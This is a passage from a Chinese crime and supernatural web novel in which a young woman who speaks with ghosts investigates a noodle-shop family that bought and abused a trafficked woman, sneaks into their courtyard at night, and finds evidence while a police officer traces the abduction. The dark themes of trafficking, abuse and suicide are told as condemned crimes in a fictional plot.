她不知道自己该不该安慰这个傻子，毕竟秦琴的不幸，这个人也有参与一份，可他偏偏只是一个傻子，他不知道买卖人口意味着什么，不知道他的琴姐姐受了多少苦，不知道他们一家的罪孽深重，他只知道自己很久没有看见琴姐姐了。
“是不是她生爸爸的气了？”
在走了几步之后，傻子的声音从沈聆身后传来。
“或许吧，如果是我的话，我也会恨他，不只是他，还有你娘，还有你。”
“你说你是琴姐姐的朋友，那你能帮我问问
傻子抬起头看向沈聆：“我偷看过很多次……我爹打完琴姐姐之后，会把她绑在床上，脱她的衣服，后面我问了我娘，我娘说那是给琴姐姐上药。”
一股恶寒，自沈聆的心里升腾而起，她忽然感觉到一阵由衷的愤怒。
沈聆握紧了拳头，压低声音，颤抖着问道：“傻子，我问你，你……有没有和你琴姐姐做过那个事情？”
“那个事情？”傻子眨着眼睛，不解地看着沈聆。
“就是你爹对你琴姐姐做过的事情。”
傻子摇了摇头：“没有呀，我从来没有帮琴姐姐‘上药’过，我娘说我爹‘上药’就好了，我啥都不会，多和琴姐姐说说话，让她少哭一点就行。”
……
在沈聆回到面馆后，脸色很难看，她紧锁眉头，脸色苍白，看起来就像是晴天霹雳落在她身上一样，一时之间茫茫然不知道说些什么。
“怎么了？你妹妹情况不太好吗？”
林凌见状，还以为主治医生打来的电话内容是沈凝出了什么意外，但沈聆只是摇了摇头，说着自己只不过是太累了。
“没事，我就是没休息好。我回去睡一觉就好了。”
“既然如此，我先送你回去把。”
“好。”
吃完牛肉面后，林凌将沈聆送回了幸福小区。
幸福小区算是陵川市的老旧小区了，这个小区是沈聆的爸妈结婚的时候买下的，幸福小区的地段并不算好，但放在当时，算是性价比较高的地方，并且距离学校也比较近，算是学区房。在沈聆的出生后，他们便没有再搬过家。
林凌开车将沈聆送到了小区外，和林凌告别之后，沈聆回到了家。
在回家的时候，看见外婆正坐在沙发上等着自己，她坐在客厅里褪色的沙发上，眼前的老旧电视正播放着戏曲频道，从深绿色窗框外透入客厅的光纤带着几分柔和，落在外婆的毛线外套上，见外孙女回来了，她用遥控器调低了电视的声音。
见沈聆一副泫然欲泣的表情，就像是路边淋雨了的流浪小狗，外婆不禁疑惑。
“聆娃儿，你怎么现在才回来呀？”
“我去吃了个牛肉面。”
“凝娃儿她……”
“她情况还好，昨天的手术挺顺利的。”沈聆心事重重地在沙发坐下，靠着外婆坐着，她的脸色有点儿苍白。
“……聆娃儿，你是不是有什么心事？”外婆那双深邃的眼眸落在沈聆身上，她将自己的外套披在外孙女身上。
“外婆，你说……一家人作恶多端，是不是应该受到法律制裁？”
“是。”
“但如果法律暂时没办法制裁呢？如果现在证据不足，根本拿他们没办法呢？”沈聆愤愤不平地说，“作恶多端的人还活着，但受害者却跳楼自杀……这个世间不公平！”
闻言，外婆叹了口气：“这个世界上，不公平的事情太多了，你觉得正确的事情，不一定会有正确的结果，人间的制裁，都是以人的意志为转移的。”
“那……那些作恶多端的人，死后真的会下地狱吗？”
“会的，在地府，有十大阎罗殿，无论此人生前是贫贱还是富贵，都会被清算，根据此人生前作恶或是行善情况，决定他是否要下地狱受苦或是直接转世投胎。十八层地狱，每一层的罪名都不相同，每一层被困的，都是恶人。”
外婆沙哑的声音在房间里听起来格外令人安心。
她就像是一个年迈的见证者，见证了这个世界上许多亡灵的离开，以及生死之间的悲惨机遇，她看透了生死，也知道死亡并非终点，善恶终有报，这句话会在人死后得到印证，那些活着时候侥幸逃罪的人，在死后都会被公正地清算。
“人间的法庭，是需要看证据判定罪恶清白，但在地府，是不需要证据的，人一生做的事情，小到说谎偷盗，大到杀人放火，全都一笔一笔记着呢，所以不用担心，到了那个世界，在阎王爷面前，是没有任何情面的，该受罚的人，一定会受罚，真正的审判，在下面。”
“但是，一想到那些人如果在生前没有办法遭受制裁，我就忍不下这口气！”沈聆说着，握紧了拳头。
她的心情，可能常人难以理解。
寻常人看到某个凶杀案中的受害者时，大多数怜悯都是来自于对受害者死状的同情以及自身并没有发生这样事情的庆幸。
但沈聆不同，她是真正
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和死者对话过的人，她看过秦琴死后的灵魂，并且知道了所有她生前的悲苦，这样悲愤交加的心情会比寻常人更加浓烈！
在她跟着林凌一起去面馆吃饭的时候，还没有意识到在面馆热情招呼客人的老夫妻是这么无恶不作的人！现在看来，人心是最可怕的东西，你永远不知道隐藏在对方和蔼的面容下是怎样丑陋的灵魂！
——老陈一家三口从人贩子手里买回了秦琴，参与了人口拐卖，并且虐待秦琴，那个糟老头子甚至让秦琴怀孕了，对外声称孩子是自己那个傻儿子的，实际上孩子是他自己的！
——更可恶的是，他们家的老太婆还在帮着遮掩！
——我一定要做点什么，不能让秦琴就这么以自杀的方式不明不白地死去。
沈聆暗自思忖。
当前，警方并没有查到秦琴和拐卖人口有什么关系，甚至也不知道这家面馆和秦琴有什么关系，一切都需要等河南省那边的协查结果出来，才能比对上秦琴失踪的遭遇，最后顺藤摸瓜查到淮阳牛肉面馆。
沈聆已经拜托了林凌跟一下河南的协查结果，并且将自己的怀疑都告诉了林凌。
林凌虽然持有半信半疑的态度，但毕竟沈聆无法说清楚自己与秦琴鬼魂对话的事情，因此他在心里始终是存了一抹对沈聆的话的怀疑。
可怀疑终究只是怀疑，警方办案是讲究证据，在没有证据之前，再多的怀疑都不作数，如果真的要让老陈一家三口被绳之以法，就必须拿出更有力的证据，证明秦琴之前被囚禁在他们家，遭受了非人的虐待。
沈聆认真回想了一遍傻子的话。
她想起来傻子曾经说过，秦琴当时是被绑在柴房里的，也就是说，那里或许是秦琴待过最久的地方，柴房一般是堆放柴火用的，但现在进入了新时代，已经没有了烧煤烧柴，曾经的柴房大多数变成了杂物间，如果秦琴被囚禁在那里，相信那里一定还有留不少可以作为他们囚禁秦琴证据的痕迹，而且按照傻子的话，他老爹打人是下了狠手的，说不定还能找到陈旧的血迹等……
——如果真的能找到那些证据，应该就能证明秦琴曾经被他们虐待囚禁过。
——必须在这件事的热度下去之前，把他们的罪行曝光。
——否则，如果秦琴的死以自杀定案，就再也没有翻案的可能的。
——目前，所有的证据都显示秦琴是自杀身亡，没有人推她下楼，也没有人威胁她自杀，如果要翻案，只能从孩子这个线索和秦琴生前被囚禁的地方下手……
想到这里，沈聆忽然有了个大胆的想法。
她打算……
夜探淮阳牛肉面馆！
这家牛肉面馆，是一栋两层建筑，林凌说老陈一家三口都住在面馆里，面馆后方是一个小院子，沈聆猜测傻子口中的“柴房”应该就在那里。
或许，只要自己潜入院落，就能找到他们曾今囚禁秦琴的证据。
毕竟，为死者伸冤，乃天下大义，她也能为妹妹赚到更多阴德，不是吗？
23. 争吵
在当天晚上，那个夜黑风高的夜晚，沈聆再一次来到了城西的淮阳牛肉面馆外。
与白天的人来人往不同的是，这里到了晚上八九点的时候，就已经人烟稀少，因为城西也是殡仪馆所在的位置，因此略有忌讳的人都不会选择在这里租住房子，而这一片也因为殡仪馆影响了人口居住的原因，店铺商户也较少，只有一些老字号的食铺及卖殡葬的商铺会开到比较晚，但这些铺子在晚上九点左右也会陆续关门。
“沙拉……”
沈聆吹着夜晚寒凉的风，骑着共享单车来到了城西。
不知道是否是心理原因，总感觉城西的温度似乎比陵川市其他地方要更一点，这里的草木皆是枯黄的灌木丛，似乎有生机的植被也不愿意在这里生长。
绕过几个弯弯绕绕的路口，便来到了淮阳牛肉面馆外。
昏暗的路灯照亮了一小片人行道的区域，那些路灯在黑色的夜幕下像是黑夜的守护者，静默地站在原地，默默凝视着一切。
沈聆小心翼翼地朝着淮阳牛肉面馆靠近——在白天离开之前，她曾经留意了一下，这家面馆是独栋的二层楼结构，二楼应该也是店主夫妇的，日常生活起居就在自家店铺楼上，从一楼的门口可以看到面馆后面有一个小小的院子，这小院落用围墙围了起来，围墙只有大概有一米七八的样子，从外面暂时看不见院子里的情况。
“到了……”
沈聆深吸了一口气，感觉到吸入肺部的气体冰冷地刺痛着柔软的肺管子，她停步在距离面馆十米之外的地方——也就是白天傻小子扔垃圾的垃圾车旁。面馆的店铺门口为了防盗，一般都安装有监控摄像头，并且摄像头应该是对准店面的，沈聆知道自己接下来要做的事情或许不太合法，她打算绕过监控摄像头，至少如果来日里东窗事发，一定不能让别人拿到把柄。
她压低了身子，沿着街角，如老鼠一样鬼鬼祟祟地靠近面馆，在面馆和小卖部之间有一条仅能容纳下一人的小巷，小巷被围墙占了大半的空间，瘦弱的沈聆站直了身子，恰好能将自己藏在围墙形成的阴影中。
她稍稍从围墙后探出半个脑袋，她恰好能够看到面馆门口，面馆此时已经关门了，卷帘已经拉上，门口留着一盏昏暗的灯，照亮了面馆门口已经褪色的红色地毯，两辆电动车停在面馆前面，看起来应该是这家面馆主人的。
“格拉……”
一阵拉动窗户的声音从头顶传来，沈聆警觉地抬起头，发现是面馆二楼的窗户被拉上了，从外面可以看到窗户里亮着灯，一个佝偻的轮廓投影在窗户上，看那轮廓的样子，应该是面馆的老陈。
沈聆压低了身子，尽量将自己藏在小巷的阴影中。
她不知道自己头上的这个房间是做什么用的，但是房间的隔音效果不太好，她依稀可以听到房间里似乎有人在走来走去的，模糊的人声也从窗户的缝隙里传出——
“老头子，你说这该怎么办呀？”
“怎么办？我能有什么办法！”
“那可是……那可是你的孩子啊，就这么丢在医院里不管吗？！”
“你以为我不想把孩子抱回来？！如果不是你的肚子不争气，我们至于花这么多钱去买一个女娃娃回来吗？！”
“我不争气？天煞的，难道我没有给你生孩子吗？我现在已经七老八十了，你要我老蚌生珠？”
“生孩子？你看看你给我生的是个什么儿子！但凡他不要这么呆呆傻傻的，隔壁王婶子家的孩子我早就说亲当儿媳妇了！”
“怪我？咱们的儿子是生来就这个样子的吗？幺儿小时候多聪明啊！三岁就会说话了，五岁就会背三字经了，如果不是你一直打他、骂他，把他打得昏迷了好几天，他后来至于呆傻了吗？”
婆婆的声音听起来有点儿激动，她靠近了窗户指责老伴，俩人说话的声音和语气也随着争吵而剧烈了起来。
“死老头子，我跟你说，我不欠你们陈家的！当时你就是一个四十多的穷光蛋，如果我不是被邻村人骗来了这里，又被卖给了你，你以为你娶得上老婆吗？！我看你就是命中注定无二无女，就算有了个儿子，也是个二傻子！”
话音未落，沈聆听到了一声清脆的巴掌声。
“啪。”
她抬起头，发现窗户上老头子的影子正举着手，而在他面前，婆婆的影子弓着身子，像是捂着自己的脸颊唉。
“住嘴！是不是我好几天没打你了？！你现在不知道天高地厚、都敢跟我顶嘴了是吧？！”
老头子说着，提高了音量，他抬起手，揪住妻子的头发，直接拽着妻子往窗户上撞了好几下，躲在一楼小巷里的沈聆听到了几声“咚咚咚”的沉闷的声音，那声音听得人心里发慌，她只得捂住嘴巴，将自己藏得更深一点。
“秦琴那个小贱人跳楼了，她以为这样就能摆脱我的控制！没那么简单！既然我能买到你，买到她，那么我就能买到第三个！我就不相信了，难道我老陈家就要在我这一代断子绝孙？！”
老头子说话的声音里伴随着拳打脚踢的声音以及老妇人的哀嚎求饶，面对这个和自己相濡以沫二十多年的人，他下手没有丝毫的犹豫，甚至将一腔怒火全都发泄在了殴打对方身上。
现在，在听了这对老夫妻的对话之后，沈聆算是对他们的情况有了进一步的了解，这家淮阳牛肉面馆的夫妻俩，并没有表面上那么和蔼可亲。
有些男人，总是喜欢在女人身上找自尊。
通过掌控别人，满足自己的控制欲。
老陈就是这么一个很典型的人。
他的经济条件不好，只能开一家小店维持生计，到了四十多岁还没有结婚，为了讨个老婆，从人贩子手里买了一个女人，并对那个女人动辄打骂，用这样的方式，让女人逐渐温顺，并为自己生了个儿子。
在有了儿子之后，为了树立“家长”的威严，更是对老婆儿子都大打出手，没想到把儿子打傻了，
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又黑又丑的儿子到了该娶媳妇的年纪，长得像个煤气罐一样，自然没人看得上，于是老陈头便又萌生了“再买一个女人”的想法，秦琴，就是这样被卖到他们家来的。
秦琴在这个家里究竟吃了多少苦？
沈聆不知道，但从傻子的只言片语中可以了解到，在秦琴初来乍到的这段时间里，老陈头没少打她，因为在他的认知里，武力，是唯一能够让家里人听话的手段，也是他用来树立威严的方式，他需要用这样的方式，像驯服野兽一样巡抚不听话的人，从而维护他在这个家里“说一不二”的地位。
在被打了一段时间后，秦琴应该也想通了，就这么“硬碰硬”并不是办法，只有假装屈服，才能找到时间逃出去，和自己一样被卖过来的老妇人并不能成为帮助自己的人，而成为了那对父子的帮凶，就连看似呆傻的儿子，也认为自己被打是一件天经地义的事情，当时她该有多么绝望？
叫天天不应、叫地地不灵。
这里，真可以说是人间炼狱了。
有的人虽然活着，但却比恶鬼更可怕。
人性，才是这个世界上最可怕的东西。
沈聆听着二楼这对夫妻的动静，她听见老陈头还在打老婆，知道这俩人一时半会儿不会从二楼下来，现在或许是自己进入小院子最好的机会。
于是乎，她猫着身子，沿着小围墙，往小巷的深处走去。
这个围墙有几乎一米八的高度，沈聆只有一米六，她尝试着伸出手扒在围墙上，但湿滑的围墙上长满了青苔，滑溜溜的青苔让她刚想要用力将自己撑上去便掉下来了。
又换了几个地方、尝试了好几次，沈聆还是没办法翻进去。
正当她一筹莫展之际，忽然她注意到，在围墙下放着几个板砖！
“这是……”
用脚踢了踢板砖，她发现在围墙下一共有六个板砖，她蹲下身，将板砖都堆叠在一起，扶着两侧的墙壁，试着站了上去，一下子高出了一截身高的她，半个脑袋从围墙后露了出来，她双手靠在墙壁上，小心翼翼地从围墙外往小院子里窥探——
这是一个面积狭窄的院落，面积不超过100平方米，在正对着她的方向，是洗菜池，旁边放着几个大缸，架子上挂着许多正在解冻的牛肉，在洗菜池右侧，是一个小平房，小平房仅有一层，被分隔成了三个并排的小房间，三个房间的门都紧锁着，不知道三个房间是用来做什么的，而靠近沈聆这个方向的围墙下，是晾衣杆，上面晾着这一家三口刚换洗的一副，令人感觉到不适的是，上面还挂着一些婴儿的衣服，就好像，这老夫妻已经准备好迎接新生儿的降生了。
院子里很安静，只有二楼老陈头打骂老婆的声音隐隐约约传到这院子里来，院子里没有养狗，沈聆环视了一圈，也没有看到有监控摄像头。
她一咬牙，双手攀着墙壁，用力支撑起自己的身体，一扭身子，将右腿跨上了围墙，整个人下一秒翻进了陈家院落里。
24. 夜探
沈聆低下头，拿出手机看了一眼手机屏幕，当前的时间已经是晚上九点多了，但在城西郊区这一块，周围一片寂静，大部分是没有开拓的荒地，在晚上九点多的时候已经如同午夜十二点一样静谧，在远处的灌木丛里，阴森森的一片黑暗，像是潜藏着莫名的野兽，窥探着沈聆的一举一动。
这还是她第一次做这些“偷鸡摸狗”的事情，难免有些紧张。
她知道如果被那对老夫妻抓到了，一旦报警，她就是非法闯入私人住宅的下场，但转念一想，对方毕竟参与了人口贩卖的勾当，又和秦琴的死有千丝万缕的关系，如果他们真的报警，大不了直接在警察面前捅破这件事情，林凌早已经知道了些许风声，她相信哪怕是在警方面前对峙，自己不见得会吃亏。
有了这么一个底气，沈聆稳了稳心神。
和她想的一样，从表面上看不出这个小院子里有什么异常，但那傻子在话里话外都提到了“柴房”、“烧火棍”这样的字眼，说明他们囚禁秦琴的地方应该就在后院里。
沈聆打算去探查一下后院的三个小房子，那小房子的门并不大，从外面看起来，每一间的面积不超过三十平方米，但中间那个小房子的屋顶有一个类似烟囱的东西从天花板穿出，看起来应该是旧时烧火的厨房，只不过现在已经用上了燃气、电磁炉，老式烧柴的做饭方法已经被淘汰，于是那间屋子也就逐渐废弃。
沈聆小心翼翼地翻过围墙，落入院子时，周围一片寂静。
她脚下踩着湿软的泥土，身体紧紧贴在墙壁的阴影中，仿佛与黑夜融为一体。
“沙拉……”
当她纵身跳入院子的那一刻，有些狼狈地四肢着地，但幸运的是，她迅速稳住了重心，没有发出任何声响。
她紧张地屏住呼吸，竖起耳朵仔细聆听，确保自己没有引起屋内人的警觉。确认安全后，她才松了一口气，然后悄悄地朝院子里的小平房走去。
鞋子踩在湿漉漉的泥土上，这里似乎刚下了点小雨，院子里有点儿泥泞，空气中飘荡着淡淡的牛肉膻味，依稀可以嗅到血腥味，但那血腥味应该是搬运牛肉后留下的，这味道闻着有点儿刺鼻，她挪动着脚步，顺着阴影来到了小平房前。
首先是第一间房间。
这三个房间全都是木门，第一个房间的木门略微敞开了一个缝隙，从缝隙里看进去，里面黑洞洞的，伸手不见五指，略微发霉的味道从门缝里透出。
沈聆回过头看了一眼面馆，在二楼的窗户后，隐隐约约还能听到老陈头殴打老伴的声音，虽然不是很道德，但此刻沈聆却希望他打久一点，那个老妇人真是可怜又可恨，本身就是拐卖到这里的人，却还是为虎作伥，在日积月累的虐待中丧失了人性，或许只有看着其他无辜的女孩子也走上她曾经的路，她心里才会稍稍平衡一点。
无论出于哪一种心态，老太婆都罪无可恕，秦琴的死，和他们三个都脱不开关系！
“吱呀……”
沈聆小心翼翼地推开那扇陈旧的木门，一股浓烈的霉味和臭味扑面而来，那股气味就像发酵过度的麦麸，让人不禁想起放了三四天的隔夜饭，令人作呕，她迅速用手捂住口鼻，试图阻挡那股难闻的气息，但仍感到胃部一阵翻涌。
她半蹲着身子，慢慢向门口挪动，然后小心翼翼地将头探进去一半，眼前的景象让她明白了这是一个存放干粮的地方——房间里堆满了一袋袋的小米和小麦，还有各种各样的面粉制品。在房间的正中央，摆放着一台灰色的机器，看上去像是一台全自动挂面或湿面机，专门用于制作米粉和面条。
沈聆悄无声息地溜进这小房间里，检查了一番，发现这个机器的外观有些陈旧，但似乎还能正常工作，她想象着如果有足够的原料，或许可以利用这台机器制作出美味的面食，但这台机器上并没有明显残留的血迹，也没有他人被囚禁在这里的痕迹，或许这里只是一个简单的杂物仓。
——不是这里……
“沙拉……”
就在这时，忽然一个奇怪的动静引起了沈聆的注意，她感觉到什么东西似乎从她后面跑了过去！
那感觉就在一瞬间，像是某个人轻轻踮起脚尖从身后跑过，但那双冒着寒气的眼睛却从始至终都落在自己身上，在她进入小房间之后，便在外面窥探着自己的一举一动！
——是谁？！
沈聆猛地转过身子。
“喵……”
确实有一双眼睛正看着她，只不过，是一只黑猫。
“喵……”
那是一只通体漆黑如墨的猫，宛如黑夜中的幽灵一般悄然无声地出现在小院落里，它安静地站立着，仿佛与周围的环境融为一体，那双宝石绿般的眼睛犹如璀璨的明珠，散发着神秘而迷人的光芒。
“喵……”
它微微抬起头，目光静静地落在沈聆身上，似乎在好奇地打量着她，它的细长尾巴如同柔软的丝绸，轻轻地摇摆着，仿佛一条灵动的黑色小蛇在身后扭动，那毛茸茸的爪子轻盈地踩在泥土上，却几乎没有留下任何痕迹，展现出它敏捷而优雅的身姿。
“小家伙，你是什么时候出来的？”沈聆不禁心生疑惑，眉头微皱，“我记得我刚才并没有在院子里看到猫啊……”
她的心中涌起一丝担忧，担心这只突然出现的野猫会破坏她的计划和行动，于是，她急忙挥动双手，向野猫示意让它尽快离开。
野猫眨了眨那双绿油油的眼睛，似乎读懂了沈聆的手势和表情。
它转身朝着围墙的方向奔跑而去，脚步轻盈而迅速，然而，跑了几步之后，它又停下脚步，转过头来，眼神中透露出一种关切和不舍，它似乎对沈聆的安危感到担忧，不愿意轻易离开。直到看到沈聆再次挥手催促它离开，它才恋恋不舍地转过身去，一步一回头地慢慢离去，最终消失在夜色之中。
打发走了野猫，沈聆竖起耳朵，认真留意了一下周围的
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动静，确认没有其他人注意到她后，她压低了身子，朝着第二扇门而去。
第二扇门是关着的，但是没有上锁，这扇门依旧是木门，经过风吹日晒，上面已经有了许多明显的裂痕，门上贴着一个已经褪色的“福”字，从这张褪色的字来看，主人至少两年没有更换过这张门贴了。
“吱呀……”
沈聆推门而入的时候，第一眼便看到了房间正中央的灶台。
这是一间简陋而陈旧的房间，与农村里常见的灶台并无二致，沈聆弯下腰，小心翼翼地走进第二间房间，一进门，一股浓烈的霉味扑鼻而来，让人不禁皱起眉头，房间内唯一的窗户紧闭着，似乎已经很久没有透进一丝新鲜空气。
灶台旁堆积如山的柴火散发着浓重的霉味，仿佛诉说着曾经的生活。
沈聆注意到，这些柴火不仅发霉，还有些潮湿，显然已经很久没有使用过了，在灶台下，一只肥胖的老鼠突然窜出，迅速钻进了满是蜘蛛网的柴火堆里。
沈聆吓了一跳，但很快镇定下来，她仔细观察着四周，发现这里虽然有些破败，但仍然保留着当年的一些痕迹。
——这里是做饭的地方。
——那……那个傻子说的柴火棍、木条会不会就在这里？
沈聆收敛声音，挪到了柴火堆旁边，这堆柴火有半个人那么高，看起来堆放得很杂乱，上面是细小的树枝，下面是比较大的木柴，沈聆认真寻找了一番，从这堆柴火里抽出好几根检查了一下，都没有发现沾染着血迹的木条。
——难道……用来打秦琴的东西没有放在这里？
——难道第三间房间才是关着秦琴的房间？
既来之，则安之。
沈聆已经分别检查了两个房间，都没有关过人的痕迹，那么第三间房间，说不定就是当初囚禁秦琴的地方！
曾经这家店铺是卖叉烧饭的，每天客人虽然不多，但毕竟也有客人上门，如果将秦琴囚禁在前楼，发出了奇怪动静如果被客人听到了一定会奇异，如果她是店主夫妻，设身处地换位思考一下，后院，的确才是关人的好地方。
沈聆这么想着，离开了第二间厨房，朝着第三个房间而去。
和前两个房间不同的是，第三个房间，是有上锁的！
一把黑色的小锁扣住了第三个房间，沈聆用力扯了几下，发现木门已经腐烂，固定在门上的螺丝也已经生锈，如果把整个锁都扯下来，那么不需要钥匙，她也可以进去！
脑袋是这么想着的，双手已经先一步有了动作！
她微微探出身子，双手摸索着门上的螺丝，并顺着螺丝的轮廓，将两头的螺丝依次拧了下来。
“喀拉……”
这些螺丝已经有一定的年份，并且不知道为什么已经松动了，沈聆很容易便将两头的螺丝都拧了下来，将生锈的螺丝放在脚边，她深吸了一口气，轻轻推开了第三个房间的门。
“吱呀……”
25. 监控画面
“吱呀……”
在沈聆推门而入的时候，迎面扑来一股发霉的味道，她的眼睛已经适应了黑暗，扶着门框看向了房间里，她发现这是一间已经废弃的房间——
整个房间的四面墙壁都是用土坯堆起来的，看起来有些年头了，上面还布满了蜘蛛网和灰尘。天花板则是由一片片破旧的瓦片组成，这些瓦片之间并不严密，透露出丝丝凉风，每当风吹进这个小房间时，都会发出阵阵呼啸的声音，仿佛是一群孤魂野鬼在低声叹息。
在房间正对着门的地方，摆放着一个褐色的大桶，木桶上覆盖着一个木板，当沈聆将木板揭开的时候，一股恶臭尿骚的味道便扑面而来。
“呕……”
这味道十分刺鼻，尿骚味已经发酸，桶里面残留着三分之一的液体不知道是什么，但她忍着恶心赶紧将木板重新放回去，这味道像是放了许久的尿液，只是不知道是人的尿液还是动物的尿液。
用手在鼻子前挥了挥，试图散去那令人作呕的味道，沈聆转过头、目光被正对着木桶的那个长方形区域吸引住了。这个区域看起来像是一个小型的猪圈，四周用灰色的矮墙围起来，矮墙大概有一米左右的高度，围着墙壁隔出了一个区域，地面上铺满了厚厚的泥沙，上面残留着一些拖拽的痕迹。
她走近一看，发现地上有一条绳子，绳子的一端固定在墙上，另一端则垂落在"猪圈"里。她好奇地走到绳子旁边，仔细观察着它。当她看到绳子末端时，惊讶地发现那里似乎有明显的摩擦痕迹，好像曾经有人用力拉过这条绳子。
“难道有人曾经被绑在这里吗？”
那条绳子很粗，用寻常力量根本扯不断，绳子上结了一点蜘蛛丝，但从绳子的磨损程度以及陈旧程度来看，这条绳子被废弃的时间应该不超过一年。
除了这条绳子之外，在这块奇怪的类似猪圈的区域中，靠近矮墙的地方，放着几根已经折断的木条！
这木条一下子引起了沈聆的警惕。
她小心翼翼地将手伸进裤兜，摸索着掏出手机。
解锁屏幕后，她迅速打开了照明功能，一道明亮的光线瞬间刺破黑暗，她慢慢走近那堆木条，手中的灯光也随之移动，照亮了周围的一切，她伸出右手，轻轻拿起其中一根木条。她仔细观察着这根木条，发现它的长度大约在八十厘米左右，每一根木条的切面都非常光滑，仿佛经过精心打磨和修饰一般，她猜测可能是有人特意将它们削成这样细长的形状。
木条的削面呈现出一种浅淡的颜色，但令人感到奇怪的是，上面似乎凝固着一些暗红色的痕迹，那些暗红色的印记像是血迹一样，给人一种毛骨悚然的感觉。她不禁皱起眉头，心中涌起一股不祥的预感。
“这是……血吗？”
沈聆的心一下子沉了下去。
她发现不止一根木条，有三四根木条的尖端都带着暗红色的痕迹，那些痕迹很细长，看起来就像是用红色的水分涂上一样。用手触摸了一下，沈聆发现那些红色的痕迹都已经干了，哪怕是凑近了，也嗅不到什么味道，不知道是否是血迹。
但，这是今天晚上她发现的唯一有用的线索。
如果把这些东西带回去给林凌化验，说不定能有意外收获。
……
与此同时。
时间已经将近晚上十点。
陵川市公安局的同事们也在陆续下班。
在昏暗的办公室里，只有一个座位上还亮着灯——
林凌坐在电脑屏幕前，他开着小台灯，办公室的灯已经关了起来，他一个人坐在黑暗中加班那，亮着的电脑屏幕上，许多档案资料正在一遍遍审查过去。
自从听了沈聆关于淮阳牛肉面馆的推测之后，他越想越感觉这家牛肉面馆不太对劲，至少，那个不怎么出来见人的外地媳妇的确不太正常——他店主老夫妇曾经跟他说过，自家儿媳妇怀孕了，但从后面老俩口的表现来看，完全不像是照顾一个怀孕儿媳妇的样子，反而一直让儿媳妇干活，而说这句话的时候，老俩口的嘴角虽然是在微笑的，但眼睛却丝毫没有笑意，现在想来，的确让人后背发凉。
“秦琴到底是什么身份……”
就在他调查秦琴身世的时候，忽然，身旁的手机震动了起来。
林凌瞥了一眼手机屏幕，发现是办公室的值班人员发来的信息：凌哥，收到了一份回复函，周口市那边调查了平安医院跳楼自杀死者的身份信息，发现死者的父母已经过世了，在他们过世之前，的确上报过失踪人口信息，他们是一年前到淮阳区黎山街道派出所报案的，保安的内容是他们的女儿在下班的路上失踪了，一直没有回家，当时派出所的民警调取了秦琴上下班沿途的监控摄像头，发现她在路过一家小卖部的时候被拉上了一辆面包车，面包车是套牌，而且很快就离开了有监控的路段，从那之后，再也没有关于秦琴的消息，她的父母因为伤心过度，不久也过世了。
看到这段消息，林凌的脸色一下子阴沉了下来。
和沈聆猜的一样，秦琴，很可能是被拐卖到陵川市的，时常有这样的事情发生，在路上独行的女子，往往是人贩子下手的目标，他们可能伪装成需要帮助的人、以此博取他人同情，在获得帮助的时候将人拖上面包车带走；又或者，可能直接在路边停靠着所有窗户都被遮住的面包车，这样的面包车可能是载货的面包车，也可能是贴着“货拉拉”标志的面包车，在独行女子靠近的时候，将女孩子一把拉上车后扬长而去……
秦琴，就是这样被带走的。
可惜的是，在那之后，再也没有关于她的任何信息，而她的父母，在死前也没有等到女儿回家……
林凌沉默着，感觉到一阵头皮发麻。
这件事情比他想象中要更加复杂一点，但令人感到后怕的是，如果不是沈聆发现了其中的巧合，哪怕陵川市公安局已经查到秦琴是失踪人口，也不一定会将此和淮阳
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牛肉面馆联系在一起。
“她是怎么知道的呢……”
林凌挠了挠头，但这个问题的答案，或许只有沈聆本人知道了。
林凌感觉到沈聆这个人，本身就自带一股子寒气，靠近她的时候，总是会不由地感觉到阴寒，她虽然只有十九岁，但思维方式和语言表达都像极了涉世已深的成年人，这让林凌对她产生了几分好奇。
摇了摇头，他从椅子上站了起来，加班让他浑身酸痛，他伸了个拦腰，忽然，目光被桌子上摊开放着的照片所吸引——
那是几张与秦琴有关的照片，毕竟出了人命，而且网络上闹得沸沸扬扬，当局迫于压力，也让手下的警员们对秦琴的情况进行了摸排，搜集了许多关于秦琴的资料。
而摆放在林凌桌面上的，就是秦琴被发现的那个公厕。
——公厕的位置比较偏僻，从地图上来看，是在中山公园，而中山公园距离淮阳牛肉面馆大概有一小时的路程，秦琴是一个孕妇，而且已经十月怀胎，如果她真的侥幸从面馆里逃出来，那么至少要一个小时左右才能到这个公厕里。
“……”
林凌简单思考了一下，重新在椅子上坐下，并在电脑里打开了秦琴案的资料包。
在资料包里，有一份从公园调取回来的监控画面。
这个监控画面是正对着中山公园的天鹅湖的，在天鹅湖旁边有一条石板路，石板路蜿蜒着便能通到公厕，这也是进入公厕的必由之路。
“哒……哒……”
他点开了监控画面，并根据证人证词定位到了秦琴被发现的时间点，拉动了一下进度条，不一会儿，便在略微模糊的监控画面中看到了一个孕妇的身影！
画面有点儿画质不清，毕竟是公园的监控摄像头，已经有一段时间没有更新升级，但从画面中还是可以看出，在惨白色的日光下，一个穿着蓝色裙子的孕妇正沿着天鹅湖的小路往前走，她的身影有些摇晃，挺着个大肚子，一步三回头，似乎在害怕着什么。
视频中的那个孕妇，应该就是秦琴。
在一个小时后，她将因为大出血被送入平安医院，一天后，她将跳楼自杀。
这段视频就像是她生前的倒计时影像。
“……你在看什么？”
林凌心下疑惑，他快进了一下视频，忽然，他在画面中看到了一个熟悉的身影！
在秦琴跌跌撞撞地绕过天鹅湖朝着公厕走去之后，另一个矮胖的身影便沿着秦琴走过的路，一路朝着公厕而去，他穿着黑色的衣服、黑色的裤子，身材像个煤气罐一样，双手插在裤兜里，他的视线向前，目标很肯定地看着公厕的方向，时不时回头张望着四周，像是不愿意引起其他人的注意，偶然地一瞥，那个人在监控画面中露出了半个侧脸。
看到这张侧脸的时候，林凌的呼吸都停了一下，他整个人顿时站了起来。
“这个人是……淮阳牛肉面馆的傻子？！”
26. 傻子
“咔嚓……咔嚓……”
沈聆按下了手机的拍照按钮，拍下了在角落里发现的木条。
这些木条上有许多可疑的暗红色痕迹，那些痕迹看起来已经有一段时间了，或许是一年前，或许是更久之前，有几根木条已经折断，应该是使用木条的人曾经用木条殴打他人，因下手力度过大，导致了木条折断。
这些东西与傻子的证词不谋而合！
虽然不知道这样取证是否合法，但她觉得自己应该找点东西，一些可以让林凌更相信自己、让警方将调查视线转移到淮阳牛肉面馆的东西。
“小姐姐，你在这里做什么呀？”
就在这时，忽然一个声音从门外响起。
这声音吓了沈聆一大跳，她的心猛地一跳，差点儿尖叫出声！
“是谁？”
